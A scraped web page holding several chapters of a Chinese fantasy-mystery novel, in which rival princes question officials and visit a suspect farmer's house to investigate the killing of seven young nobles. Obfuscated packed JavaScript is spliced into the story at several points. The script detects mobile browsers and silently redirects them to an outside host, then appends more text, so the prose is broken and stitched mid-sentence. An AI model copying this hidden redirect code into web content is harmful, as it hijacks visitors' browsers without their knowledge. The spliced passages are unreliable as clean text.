l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679239|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那张易容的假皮，宁展戴了将近十九年。如今虽以真容示众，可温良和善早已化作无形物，与他相生相随。 为谋宏图，再大的仇怨，他忍得；再空的笑靥，他扮得。 眼前最要紧的，还是解决麻烦。 宁展拱手长揖，诚恳敬拜：“望步世子、寺卿大人见谅，是宁某未能妥当约束子民。令步溪臣民徒增困扰，实非鄙人所愿。宁某在此，郑重道歉。” 以宁看得牙痒。宁展与人为善计安身，却不曾这般卑微求全。 他松了紧握的拳，饮茶消火，不想一口下去苦得整张脸皱成团。以宁闷声吞咽，搁了茶盏，再没端起来。 宁展致歉后，步千弈好似充耳未闻，依然不为所动。 寺卿还算顾及宁展情面，起身回拜，且步千弈不发言，他也不敢坐。 宁佳与思忖着是否要接话，步千弈终于道：“宁世子言重了。不论此案与步溪有无关联，我等身为东道主，远客有难处，岂能独善一身？步溪，定不会让诸君孤立无援。” 他托起茶盏，声气重归平淡：“适间便说过，不必拘礼。宁世子，寺卿大人，请坐罢。” “下官谢殿下.体恤。”寺卿礼罢落座。 “多谢步世子。”宁展坐回原处，这才道：“恕宁某唐突，那位农夫，现下如何？可否容我二人见上两盏茶的工夫？” “阁下想见，日后自有时候。依我拙见，如今情势未明，还是不见的好。”步千弈声气坦然。他抿一口茶，接着道：“宁世子若是得闲，不如为明日与墨川大家的会面早做打算。” 此话一出，在座惊异不迭。 “明日？”宁展惊错。 他断定此次与墨川的正面交锋在所难免，不想竟在明日。 “墨川？”景以承和以宁惊疑。 此案事发步溪，事主嘉宁，又与墨川何干？ “会面？”宁佳与惊奇。 步溪城连年闭关，五载一开。时下一口气迎进来两尊大佛，怕是当真不得安宁了。 步千弈惯于独来独往，行动处事除上阵交战以外，决不与他人同行。因而即便部下众多，他也没有心腹。 相较旁人而言，白歌勉强算是最能解他心意的左右手。若说宁佳与，他从未将其看作部下。 是以，白歌每次开口，皆不必向步千弈过多请示。一则，步千弈默许他这个权利；二则，他自信不会言差语错。 见步千弈没有急着开口的意思，便到了他说话的时机。 “宁世子有所不知。明日，已是我们殿下竭力向墨川争取的最后期限。若非如此，那七位老爷今晨一早便要候在您落脚的宅院，为他们死去的儿子讨说法了。” 跟着步千弈久了，白歌也开始贴近其言语间“点到为止”的意味。 闻言，景以承撑肘倾向以宁那侧，悄声道：“我们在城外碰到那群穿金戴银、凶神恶煞的老伯，难道就是遇害人的父亲？” 以宁满眼“你好聪明！”朝景以承竖了竖大拇指，再将景以承那盏茶推过去，心道七盏苦茶都堵不住他的嘴。 “雨妹妹，你素来机灵，应当不想被此事卷进来罢？”步千弈莞尔道。 他说话分明只对宁佳与，却更像是奉劝在座的某人，别想把宁佳与扯作挡箭牌。 白歌在小院提醒她此案如何棘手时，宁佳与便猜料这十有八九也是步千弈的意思。 “青哥哥，我对这件事没什么兴趣。但实不相瞒，狱中那位楚氏，我有些在意。我想试试，”宁佳与摸出几粒含桃，不要钱似的往嘴里放，“说不定能帮到她。” “......好。我只有一个提议，”步千弈道，“但愿雨妹妹采纳。” “什么？”宁佳与止不住地笑，“你说。” 步千弈正色道：“无论如何，不要单独行事。可好？” “没问题！”她答得爽快，像是未经大脑的随口一应，唇角洇红。 步千弈知道她一直如此，不再多言，只递与她手帕擦嘴。 宁展则看得忧心，竟情不自禁对宁佳与说：“你别不当回事，真的很危险。” 话出口，他便后悔了。 他在以什么身份劝告宁佳与？ 嘉宁世子？宁佳与恨不能杀之后快。 青竹掌阁？可听雪阁是她的家。 宁展？唯一的作用，就是同她吵上十天十夜。 ......元祯？也比不上人家的“青哥哥”。 宁展饮尽清茶作掩饰，抬眼正撞上毫不避讳看过来的步千弈。 好在宁佳与及时解围，打趣道：“再危险我也能跑，宁世子还是担心自己罢！” 宁展松了口气，他头回因听到宁佳与揶揄自己而庆幸，笑道：“在下多谢小与姑娘关心。” 宁佳与一愣，收紧了手帕，咕哝道：“我可没有。” 步千弈茶盏落定的动静极轻，恰好能引走她的注意。 34. 显形 宁佳与好似瞧见两股暗流在她眼前反复蓄势，无声相击。 明日还有硬仗打，在这儿耗光了气力怎么行？ 她当即扯开话茬：“寺卿大人！那位农夫呢？可是拒不认罪？” 寺卿大人遗憾地摇头，恭敬道：“回姑娘。主犯卫氏供认不讳，且与集镇乡民的证词大体一致。” “这般，大可圆满审结。”景以承若有所思，“何来悬案一说？” 寺卿无奈道：“正因如此，线索便断了。我们原也以为此案是见闻即所得，如卫氏和乡民供称——七位公子意图从卫氏手上强抢民女楚氏，卫氏气不过，因此残杀报复。 “可那楚氏却矢口抵赖，硬说卫氏囚禁她数年，七位公子乃是好心搭救，这才惨遭灭口。囚禁与否，左邻右舍这些年都是看在眼里的，听了哪里能答应？于是齐齐指责楚氏昧良心，恩将仇报，构陷于卫氏。” 寺卿此话，倒是令堂中三位外州人有些吃惊。 毕竟，外州从古至今对步溪的成见与戏侮非轻易能移。故百姓虽谨遵步世子“微笑待人”之道，百官对外亦执礼相待，外州人仍为臣民所不齿。 即于步溪，咒人祖宗三代猪狗不如，远比不上称其是冥顽不灵的外州人来得恶毒。 然依寺卿所言，其余不明真相的百姓聚集官府门前，连日讨伐蔑视王法的嘉宁农夫时，集镇乡民不仅在替一个杀人如草的外州人鸣不平，甚至反过来谴责与他们同是步溪人的楚氏。 他们固然为世代遭遇的不公感到愤懑，更坚决维护脚下饱受争议的故土，却未任外界莫大的恶意动摇本心，情愿替亲眼所见的真诚之人仗义陈言。 哪怕此人生于孕育恶意的他乡。 三位惊诧之余，无不为自己过去对步溪的错认愧汗。 宁佳与沉吟片刻，接着道：“若卫氏当真有恩于楚珂姑娘，她的供词确实可疑。大理寺推测楚珂乃卫氏的共犯，口供则意在与其撇清关系？” 寺卿大人又摇头，如是答：“楚氏不肯开口，大理寺也没有屈打成招的先例，下官愚钝，不敢独断。” 他拱手转向步千弈，躬身道：“幸而殿下英明。殿下重返集镇，在卫氏家中地深两丈处挖出一铜盒。铜盒不大，里边装着满当当的花白翎羽。翎羽新旧不一，经大理寺比对，应是自楚珂兽身本体取得。” 景以承忍不住道：“即便毛色、形状极其相似，如何能确定这翎羽必然出自楚姑娘呢？倘卫、楚二人是共犯，难保此物不是他们刻意设下迷惑视听的假象。” 寺卿正要向外州人诠释负责比对的巫医有多神，王室秘术顿在了嘴边。 若步溪独有的巫术传扬开，三大州之间维系平衡的桥便离塌架没几日了。届时再想与世无争，旁人也不会还步溪以平静。 寺卿一抬头，步千弈果然看着他，似是警示。 宁佳与却是习惯了景以承无止无休的疑问，她两眼一转，脑海中飞速合计出一套堪当完美的说法。既能解疑，又无须搭上步溪秘术。 “因为楚珂姑娘的兽身本体，是如今七州境内都十分罕见的银喉长尾山雀。此雀身形矮小，单是尾长就占去兽身一半儿，尾形亦然独特，不难判别。” 说着，宁佳与如常捏起含桃，这回细嚼慢品，像卖弄玄虚的话本先生。 “许是大家只盯着供词，不曾留意。适才提审时，楚珂姑娘的尾巴业已显露身后。人形之下暴露兽身，常有三种情况——其一，受惊情急，多被动而为；其二，蓄势出击，多主动而为；其三，动心示爱，无心、有意均......” 宁佳与原是洋洋自得地依次竖起三根手指，一副毋庸置疑之态。话至“动心示爱”，堂中两人皆有微不可察的怔愣。 后知后觉的宁佳与在先，屡屡与那束绒白狐尾碰面的宁展在后。 其余人不清楚此间微妙，单见宁佳与自信的笑容僵在面上，脸侧三根手指久久不放。 宁展缓过神直视宁佳与，神意复杂。 不似拿住她把柄的挑衅，更不似对某种含义的回应。 宁佳与猝然住口无伤大雅，却把求知若渴的景以承急得不行。他迫不及待追问：“然后呢？如何判断楚姑娘是哪种情况？” “这个......没有特定的法子。靠感受——”宁佳与郑重道，“也不是人人都能保证感觉无误！” 不待景以承言语，堂中冷不丁响起淡然声：“第三种情况。” 几人纷纷侧目。 步千弈面不改色，道：“受惊情急。” “噢......原来如此。”景以承赶忙应声。虽说他隐约觉着步千弈其实面冷心热，仍不敢多问，掏了自己的小册便写写记记。 “受惊情急？”宁展质疑道，“鄙人并未见楚姑娘在狱中有何显形以外的异样。” 步千弈丝毫没有让步的意思，但从容道：“她一开始可不是这副模样。” 寺卿立马开口缓和：“是是，楚氏头两三日吵得凶，除却审讯时肯说句话，其余时间几乎都在大哭大闹，且一直朝着墙上的窗口飞，无奈原被人剪去翎羽，力不能及。折腾这些天，当是精神不济了。” 宁展沉默少顷，犹不赞成：“寺卿大人也说那是开始，而今哪里还有受惊情急的迹象？” 步千弈微微眯眼，意味深长道：“阁下想说什么？” 他不认为宁展在质疑他的能力，倒像没事找事，便不愿与其过多纠缠。 宁展却是付之一笑，转而面向宁佳与，探问道：“小与姑娘以为如何？” 宁佳与两颊塞得能比预备过冬的松子家[1]，鼓鼓囊囊，莫说出声答话，喘口气儿都得收敛些。她满脸苦笑，抬起银骨折扇，双手把着左右两端缓缓开扇，径自挡下所有投来的目光。 景以承不白听宁佳与的小故事，狼毫赫然一举，帮着她答：“我知道！楚姑娘显形后没有多余动作，不是蓄势出击；在场亦没有她的心上人，不是动心示爱。照此说，便是受惊情急！” 宁展不防被这小子拆了台，嘴角抽动，勉强镇定道：“景兄如何得知，在场没有楚姑娘的心上人？” 步千弈难得对外不作冷眼，抢在景以承开口前称赞：“承仁君闭关数载，成效果然显著。您答得不错。” 这还是景以承出关后凭自己本事收到的第一个赞许。 “眼神！” 他益发肯定，手里的小册子越握越紧。 “我母亲早逝，是父亲患难相恤的结发妻。她临走前留下两封信，一封写给我，一封写给父亲，都压在我的枕席下。 “最初，我只读了自己那封。哈，没什么特别，即是大家都能想到作为娘亲会留与小儿的祈盼。母亲也许算准了我对父亲有怨，信中不曾提及父亲。另一封信上，则写着‘殿下亲启，愿以承代为转交’。母亲的意思，是盼我能与父王和解罢。但我不成器，足足用了这些年，才将信送出去。 “分明是写给父亲的信，他却让我先读。我本觉着母亲的大好年华真真错付于人，直到读完了信。” 起首，不是景以承所想的“殿下”“泰王”，抑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679240|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或“妾身拜启”，而是“吾夫景郎，见信如晤”。 堪堪几字，他似乎可以窥得母亲此生言之不尽的幸福，乃至明知时日将至，依然愿唤那纵容歹人为所欲为的帮凶一声“夫君”。 景以承手间一松，释然道：“满满五页纸，没有别的，是母亲细数的爱，是她这辈子能够记下的爱，那全部来自父亲。父亲看母亲画像的眼神，是我从未见过的情切。我想，这就是看心上人的眼神。而楚姑娘没有，至少方才没有。” 宁佳与趁隙舒了气，收扇道：“景公子言之有理。楚珂姑娘入狱后大哭大闹，足见其悲痛。莫说心上人，今日但凡有与她亲近者在场，她都不会无动于衷。依我观之，比起受惊，更近情急。显形前，狱中大抵出现了让她情难自抑的人、事、物。” 宁展迁思回虑，对寺卿道：“敢问大人，卫、楚二人入狱后，可有打过照面？抑或互通音讯？” “绝无可能。” 寺卿大人毫不迟疑。 “您看到了，楚氏待的地方不算差，因为她只是嫌犯。卫子昀却不同，乃是单独关押的重犯。司狱手下嘴严，议论囚犯的情况前所未有，若要借狱卒探听，也是不可行的。” “那就对了。”宁展莫名打了个响指，正色道：“若乡民口供无误，此二人关系匪浅。不论他们是敌是友，在过去睡卧不宁的十个日夜里，必然念着对方的境况。” 景以承心领神悟，边写边问：“若楚姑娘是情急显形，那么受惊呢？莫非是一时来了许多生人，吓着她了？” 宁展摇头，道：“她入狱十日，其间数次受审，见过不少生人了。大理寺未曾对她用刑，来再多人，想也不致因此受惊......” 堂外高柳乱蝉，更显堂中肃静。思虑逐渐入绪，又有新的脉络绊住脚步。 寺卿招呼小吏给几位贵客添茶，宁佳与一个没拦住，二位世子再度较起狠劲。 那落盏的清茶甚且没能停留稳当，便被俩人接二两三饮尽。 突如其来的比试把小吏忙得左右倒腾，不禁疑心自己添的茶汤究竟是何等稀世佳品？竟值得二位世子这般争先恐后。 将将泡好的茶非滚即热，好悬没把两大州的主心骨烫哑巴。 可当得王储者，果然不似等闲。 若非茶汤仍冒着白气，光凭二位面上那气定神闲之态，决计叫旁人瞧不出半分温热。 以宁瞥了眼自己冷落在侧的茶盏。 不解，百思不解。 宁展素来喜食梅子甜汤，茶水亦好冰镇，这会儿却如缺水久矣的枯枝败叶，把什么都当甘露往下灌，作无谓挣扎。 尽管步千弈与宁展皆是坐拥美名之辈，但谁也不像见不得对方前途无量的斗筲小人。 反常，实在反常。 此情此景，好比两小儿各显神通，为拼夺天边高高坠下的一轮素月，然忘了天镜生于九霄云外。 若人人全力去抢，终究会是珠沉玉碎，抱憾而归。 二位盏不离手，只等小吏将茶添满，便接连仰头痛饮。 场面荒唐得宁佳与一时分不清究竟是谁先起的头。 她与寺卿相视无奈，后熟门熟路地破开战局，客气笑道：“寺卿大人，请问这卫氏家中，此前是何境况啊？” 寺卿亦然回敬：“卫氏名子昀，年方二十二，乃是九年前迁居到此的嘉宁人氏，家中无亲无故。依乡民所述，其迁至步溪集镇后，以耕作为生，尚可糊口，此前就是个起早贪黑、老实本分的小伙儿，谁想能做出那般凶残之事。” 35. 软绸 景以承早年困步深宫，后又闭关四载，自然听得疑惑，直言问道：“竟是迁居而来？可小与姑娘不是说，步溪常年闭城吗？” 不必宁佳与应声，步千弈道：“雨妹妹没说错，如今步溪城非必要不放行，从前却不是。卫氏当年随流民而迁，来时俨然就剩半条命、两口气。若步溪视若无睹，岂非狼戾不仁？” 狼戾不仁，正是历代外州人给步溪臣民安上的恶名之一。 言尽于此，以宁的脸色冷得景以承缩手，宁展则拖着茶盏吹散热气。 不知步千弈为何戛然话止，景以承追问道：“之后呢？为何守卫愈加森严，也不再接济流民了？” 步千弈不着痕迹地瞥一眼左侧，道：“对来历不明者心慈手软，不会有好下场。吾辈自愧计不如人，故封城自保。” 景以承算是发现了，堂中二位以世子姿态交谈时，没一个出言吐气不是弯弯绕绕的，令人懵头转向。分明字词皆是官话，然合并成句，他就云里雾里了。 他还想向宁佳与求援，奈何九年前的“江湖逸事通”犹是个七八岁大小的女娃娃，正窝在慈幼庄摸鱼、打水、放纸鸢呢。 景以承目光一转，宁佳与果然摊手兼摇头。 宁展搁下茶盏，平和道：“诸位扯远了罢。还是烦请寺卿大人，谈谈这卫、楚二人之间究竟是何联系。” 自露面便始终恭敬的大理寺卿脸上闪过不悦，后慎重道：“乡民称，楚珂与卫子昀同居一舍约莫七年之久。他们找过楚珂，问是哪家的孩子，楚珂支支吾吾说不出个所以然。后来见二人一个主外、一个主内，相处甚睦，便没有深究，都为俩孤零零的孩子有了伴高兴。” “原来如此。一个勉强糊口的农夫，倒是将人养得圆润漂亮。”景以承道，“无怪乡民们指摘楚珂姑娘恩将仇报了。” 孟夏午后闷热，便是这地界僻静的会客堂也难躲艳阳。 宁佳与摇起折扇，点头称是：“的确。楚珂姑娘身上的彩绸虽比不得闺阁千金的名锦贵缎，却也是二、三两银子一匹的好料子。” 闻言，宁展不禁乜斜，若有似无地瞄了宁佳与两眼。 步千弈面向宁佳与，关切道：“你喜欢？” 他问的自然是宁佳与口中的软绸。 步千弈每年给她置办的云锦、雪缎、提花绢，就没一样她瞧得上眼的。宁佳与挑来选去，还是更愿意穿听雪阁人手几套的青蝉翼。 步千弈没法子，只好就着青蝉翼给她单独染了成百套的绯色束衣。 宁佳与立刻明白他在问什么，急忙挥着银骨扇否认：“不不不，不喜欢！” 她唯恐自己迟疑半刻，步千弈又要将她当作没衣裳穿的小孩儿，用染了色的软绸堆满她的屋子。 步千弈了然，略显遗憾地回过身去。 景以承灵机忽动，问寺卿：“那么卫子昀呢？他平日里也是穿的软绸吗，不好干活儿罢？” 寺卿被他问得一愣，继而表示抱歉。 供词中并未提及卫氏平日的衣着打扮，大理寺许是因七位遇害公子的身份悬心，也未曾留意此处。 “承仁君不若问问宁世子？卫氏的穿衣用度，”步千弈冷不丁道，“在座应当没人比他更清楚。” 言语间尽是火药味，只待宁展点火自焚。 寺卿知高识低，步千弈话头将落，他便领着边上的小吏给世子殿下拱手告退。 对三大州重臣而言，暗阁的存在不算秘密，却更不能说了如指掌，即略知皮毛。 臣为君所用，应召接旨名正言顺，但绝对不能入阁，这是不成文的规矩。三大暗阁中，少的是宁佳与这般散漫逍遥的人，多的是了无牵挂的亡命之徒。 隐士今朝护着大理寺卿，保不准明日的密令便是杀寺卿全家。像寻常官吏那般惜命如金或拖家带口的，离暗阁越远越好。 南下途中，景以承听宁佳与说步溪地界的青竹暗桩出了大事，且青竹掌阁正是他的世子老师，却不知青竹阁现况到底如何，宁展又是因何夜不能寐。 他一头雾水地看着寺卿草草退去，用笔杆搔了搔下巴，佩服道：“元兄，你连一个平头百姓的穿衣打扮都能探到吗？” 景以承明白青竹阁本事了得，可农夫斗杀案传到景安时，卫子昀早已入狱。青竹隐士再神通广大，还能在关押重犯的大牢来去自如不成？ 宁展方与步千弈斗罢茶水，这会儿出奇平静，似乎对步千弈此举早有所料。他轻手摩挲着腰间茄袋，并未回答。 见他不作声，步千弈淡然道：“卫子昀本就是青竹阁中人，何须探听。” 闻言，景以承狼毫不稳，枣大的墨点直戳手背。他看看墨点，又望望宁展，素来不休的巧嘴也顿口无言。 宁佳与倒是一早算准了卫子昀的身份，就在宁展与她坦言相待说起听雪阁、问及师父时。 若只是嘉宁人氏在步溪惹了乱子，步溪王室是可以指摘青竹阁办事不济，而后借此削弱青竹阁在步州全境的势力。 可卫子昀不止是简简单单的流民。 时下青竹阁所临局势，便极有可能是被步溪王室寻根攘除。 迎着众人的目光，宁展终于道：“据宁某所知，卫子昀平日一贯是粗布麻衣，清茶淡饭。” 宁展不曾克扣过任何一位青竹隐士的月例，且人人待遇不薄，毕竟是买命钱。至于卫子昀辛勤多年为何仍是位衣食清贫的农夫，他看到楚珂那一刻，心中多少有数了。 景以承重新提起狼毫，接着他的话道：“卫子昀将最好的东西给了楚珂，自己却起早贪黑，埋头吃苦。由此可见，二人是友非敌也！” “我看未必。”以宁道。他稳着剑柄，不平道：“楚氏吃他的住他的，而今穿着三两一匹的软绸，尚能如此诋毁于他，怕是农夫与毒蛇罢了。” 景以承此人，虽不曾如王孙贵戚那般享过极乐，但格外开朗，乃是吟诗作赋、看戏写词都要拣着大团圆结局来颂。 诸如以宁这类消沉丧气的观念，他是万万看不过眼的。 景以承瞟着以宁手间的长剑，不由吞咽，只得嘟囔两句：“你怎知楚珂姑娘是个光吃饭不干活儿的。况且人家是银什么什么雀，才不是毒蛇......” 以宁正要驳斥，又碍于宁展，悻悻闭嘴，心道那楚珂姑娘可比景以承的脸圆润多了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679241|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上更则不见半点干活儿的痕迹，从前的日子不知有多快活。 “以宁，我们还是亲自去一趟集镇罢。”宁展放了茄袋，正色道。 静待旁人审判不是上策，他主动出手，兴许还能寻着二三转机。明日会谈，也不致两面受制。 以宁起身领命：“是，公子。” “我也去。”宁佳与毫不犹豫道。 “好。”步千弈噙着笑，“我陪你。” 这倒是让宁佳与有些意外。 她打定了主意，步千弈本就不会拦她什么，但步溪王室对外最是忌讳一碗水端不平。故而纵使微王位尊权重，亦对大小州一视同仁。 但凡七州境内哪处起了摩擦，人群中带头劝架那位一定是微王。 步千弈在墨川大家那头替嘉宁争取会面时间，已稍显偏袒。现下还要与嘉宁世子同行查案，若是入了墨川王室的耳，又添一桩难以善了的麻烦事。 嘉宁如今是赤脚的不惧穿鞋的，一件是事，两件也是事。宁展揖手道：“那便有劳步世子和白公子带路了，宁某在此谢过。” “烦请各位先行一步。”步千弈悠悠起身，“在下与宁世子有话要说。” 景以承连应两声便抱着书笔出了院子。白歌见宁佳与愣在座上，则佯作过路，刻意用剑柄撞她肩臂，激使她动作利索点。 宁佳与果然当即高挥折扇，紧追上白歌逃窜的影子，嘴里呼号：“你小子！你最好跑得够快！” 以宁身形不动，神色警惕。 宁展抬了抬下巴，示意道：“你同他们先走。” 以宁明白这是让他宽心的意思，也清楚两位世子若是真动起手，宁展未必会输，仍隐隐忧心。他径直离去，步子跨得小，剑柄亦然紧紧在握。 堂中唯余二人，步千弈方才不疾不徐地收手起身。 - 白歌那匹雄俊的白马不知何时被唤了回来，此时正在主人的缰绳下穿街过巷，一路飞驰。 好在步溪百姓皆是开过眼的行家。 城中，即是瞧见苍鹰掐菜、云豹赶车，抑或玉兔打铁、岩羊卖唱，通通不足为奇。相较之下，这一闪而过的白马仅是跑得比旁人快些而已。 步溪热闹，却并不混乱。 微王自有明令下达——步州境内，开化人形者，非不得已而不可轻易复归原形。 复形与显形不同，宁佳与所说的三种情况便是显形。此态不致兽身全现，难以自控时冒个尾巴或耳朵，情有可原。 白歌的骏马显然并未开化人形，但通达人性，将他内心的烦躁意会得十分透彻，于是不管不顾地飞奔着，把乘车的几人远远甩在身后。 可惜后头赶车那位不过一介武夫，而非云豹。即使坚实无比的乘舆任以宁造散架了，也追不上前边走火入魔似的白马。 乘舆驶出长街好一阵，宁佳与方才意识到：“柳姑娘呢？先前在大狱便没见着她了。” 追风逐电的架势晃得景以承眼冒金星，他上牙撞下齿，还非要答一句：“她、她身体、身体不适......留在院、院中歇、歇息——” 说罢，血腥在嘴里蔓延。 36. 集镇 宁佳与自小坐惯了白歌的飞车疾马，当然自如，甚且能抽空嚼两粒含桃，却实在帮不上几欲晕厥的景以承，至多摇摇折扇替他退热。 景以承捂着嘴，强忍问道：“步、步世子......咱还有多、多久到啊......” 步千弈神色未动，本不愿开口，然则宁佳与也眨巴眼望过来。他破颜为笑，平淡道：“很久。” 宁展内功不浅，还算稳得住身体，就是车外嘈杂间或刺耳的声响闹得他有些心神不定。 乘舆颠簸了半天，依旧安好，不知是否如白歌指定的那般结实，总之比景二殿下一身要散的骨头结实。 步溪是名副其实的鱼米之乡，水源丰沛、物阜民足，步溪城作为王城更是家殷年丰。宁展原以为，集镇连通城街，是与城中大差不离的繁闹地界。 车马抵达集镇，已是西山日薄之际。 恰似卫氏郎与楚氏女初逢之时。 万道霞光如潮涌至，覆盖无边似的田连阡陌、青秧翠苗，澄黄的余晖兜着大片果穗，本就熠熠生辉的收获更显金灿。 小径上晃着三三两两肩扛铁犁的庄稼汉，结伴而行。 乡民背戴草笠，坠满汗津的脸上少有疲累，念起家中翘望其归的亲朋，便是满面喜容，将整日的劳倦抛诸脑后。 远处灰棚矮屋齐平连立，炊烟袅袅腾升。斜阳温煦，风情柔软，俨然一季安恬绵长的优游岁月。 所谓集镇，实是连通城街与这大片良田的百步里巷，将一切繁闹隔绝在外。 如非里巷酒家沾上那等骇人听闻的凶案，恐怕步溪城中没人会留意这个不起眼的小店。 集镇世代以来的宁静，亦不会就此打破。 白歌早早候在里巷尽头，神色如常，不为身后广袤无垠的田野动容，两只眼睛显然也不比初到此地的几位瞪得大。 瞪得最圆的一双眼，当属宁佳与。她的确不曾来过此地，却没有那么惊讶，是纯粹的欢眉大眼。 其次便是景以承。 景二殿下不作那许多弯弯绕，瞪了眼就是震惊，横了眉就是生气。不过他脾气好得很，素来是只瞪眼，不横眉。 此处与外头可谓千差万别，嘉宁主从二人虽不至惊掉眼珠，亦然奇哉。 步千弈水波不兴，领着宁佳与径自走向白歌。 “殿下。”白歌敬拜，后对宁展等人道：“还请几位趁天光犹在，把握时辰。晚间，有些东西便不如眼下清楚了。” 宁展点头，谦和道：“劳烦白公子带路，先往卫子昀家中去罢。” 白歌默然望向步千弈，得到步千弈首肯，方纵步领路。 “请随我来。” 众人紧着霞光赶路，头顶昏黄的光晕愈发浓重。 余晖自天边泼下，映着宁佳与白净的脸蛋，惹眼的束衣也被霞辉浣洗柔和，全然不见平日牙尖嘴利的骄纵模样。 她轻功逸群，行迹似云轻、如影快。举止从容，搭上姣好的容貌，倒衬得与她言谈举止迥乎不同的闺英闱秀有几分相近。 这一幅“田园淑女图”看得人心慌神乱。宁展不近女色，却不是没见过较之更胜一筹的才女佳人，正因见过，他才暗叹不妙。 大敌当前，他竟因着这人心神不宁？ 宁佳与似乎察觉到宁展不对劲，以为他忧心此行徒劳，遂宽慰道：“放心罢元公子，有我——们在，决计不会让你空手而归的。” 说罢，她颇为慷慨地将荷包里最后几粒含桃一并递与宁展。 宁佳与已回归听雪阁，其实不必再扮青竹掌阁身侧忠心耿耿的部下，但鬼使神差，宁展没拒绝。他心中纠结，想不明白那种对相交不久之人的不舍从何而来。 他象征性吃了一粒含桃。 不甜。 “那便多谢小与姑娘了。”宁展若无其事道。 四下本该是一望无际的田野，因卫子昀的屋子实在偏僻，愣是让几人沿着乡间小径走到了田边缘。 再往前，是条深不见底的大江。 白歌终于缓步，抬手指道：“此处便是卫氏的居舍。” 随手望去，高板屋平正规整，与这一路以来的灰棚矮舍不甚类同。 几人走入小院，依着天光，可见此屋每一处边角、衔接、系梁皆被人修缮得十分崭齐。 稳稳拔地，高耸而起。 若为一人独力建成，想是个力大无比又心细如发之人。 步溪儿郎威猛力强，却没几个能有这般修整房屋的耐心。 即如以宁甘愿重回青竹斗场与众隐士拼上十天半月的命，也不肯静下片刻温读诗书。步溪儿郎则是情愿战死疆场，也做不来如此磨人的细工慢活。 大伙在院中转了几圈，从各式的痕迹不难看出，这屋子业已被人搜过十遍不止。倘仍有遗漏，也绝非常人一眼能见之物。 身无拳术的景以承倒是胆大，自说自话进屋巡视起来。 不多时，却听他大惊小怪地喊：“上邪呀！元兄，你们快来看！” 嘉宁二人及宁佳与循声赶来，景以承贴立墙角，仰望身旁一株足足比他高出大半个身子的香樟树，目瞪口呆。 他右手指树，左手指着与树一般高阔的窗扉，惊奇道：“这这这，卫子昀将屋子和窗扉造得如此之高，便是为了在屋里种大树？！” 景以承养在围墙深院，哪里见过这般情景？ 宁佳与大步朝树走去，前后察看一番，得出结论：“不是没有可能。” 她取出银骨扇开始扇凉，话锋慢转：“不过......这树的状况，似乎不大乐观。” 景以承见这大树被人修剪得齐整美观，枝桠上甚至雕着许多精致的物什，不免疑惑道：“何以见得？” 宁佳与伸手戳戳树干，松了几块皮，又抬扇晃晃树枝，落了几片叶。 “它......病恹恹的。” 这树，远远端坐一隅，尚且美观雅致；教人走近了琢磨，还不如个假枝假叶的工艺木雕来得生气蓬勃。 尽管那扇同样高大窗扉尽力送入阳光，还是没能挽救它不幸的命数。 “这卫子昀真是奇人一位。若要在屋内种雅致的绿植陶冶情操，小花小草何尝不可？偏要在地上凿个这么大的窟窿种树。” 景以承边说边掏狼毫，将奇人轶事记录在册。 “未免太怪了罢！” 听他这么说，几人这才发觉，自己脚下踩的为何是另行铺建的木板地，而非寻常农户家的土地、泥地。 屋主特意将墙角处的木板打出个大洞，像是在为这香樟树安家。 可正如景以承所言，屋内种树原就不是明智之举。卫子昀既愿为此树造窗凿地，且费力将板屋建得那样高，想来对它爱护有佳。 如此，却为何不肯任它回归阳光普照、天高气清的自然呢...... 不谈青竹隐士的身份，他本身亦是辛勤耕作九年有余的庄稼汉，怎会不明白之于这株香樟而言，何处是好的归宿？ 步千弈与白歌姗姗进屋，顿步门边，对几人的疑问并无回应。 一进门，宁展便在寻寺卿所说的地深两丈处。但这供树落脚的木板窟窿以外，他没再寻到地上有多余的开口。 宁展回身面向步千弈，求证道：“不知步世子先前在何处挖到的铜盒？” “正在宁世子脚下。”步千弈道。 宁展稳稳立于结实无异的木板上，闻言难免一愣，几欲以为步千弈又在拿他开涮。 然思及二人在会客堂时的谈话，他认真端详起脚下棕黑的木板，继而取下腰间长剑，以剑鞘试之，果真有所松动。 他正要俯下身探查究竟，以宁箭步阻拦，谨慎道：“公子，我来。” 宁展点点头，退至旁侧。 步千弈所指，正是围于香樟树边沿的其中几块实木。以宁抵着略微松动的木板，空手迅速划过木前，确认没有暗器，方低身探头，往木板底下查验。 这一查，令他不得不佩服屋主的构筑手艺。 众人脚踏的实木板地下边，除去几根辅以支撑的短柱，可以说整块悬在泥地之上，但以宁没工夫研究个中妙处。 明暗间，他似乎瞟见一物，正似平时木门上用以倒锁的门闩，不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“青哥哥，这底下除了铜盒。”宁佳与指着泥地，回身道，“还有什么不对劲吗？” 步千弈面上的冰湖霎时消融，答话的声量都轻了七八分：“并无其他。” 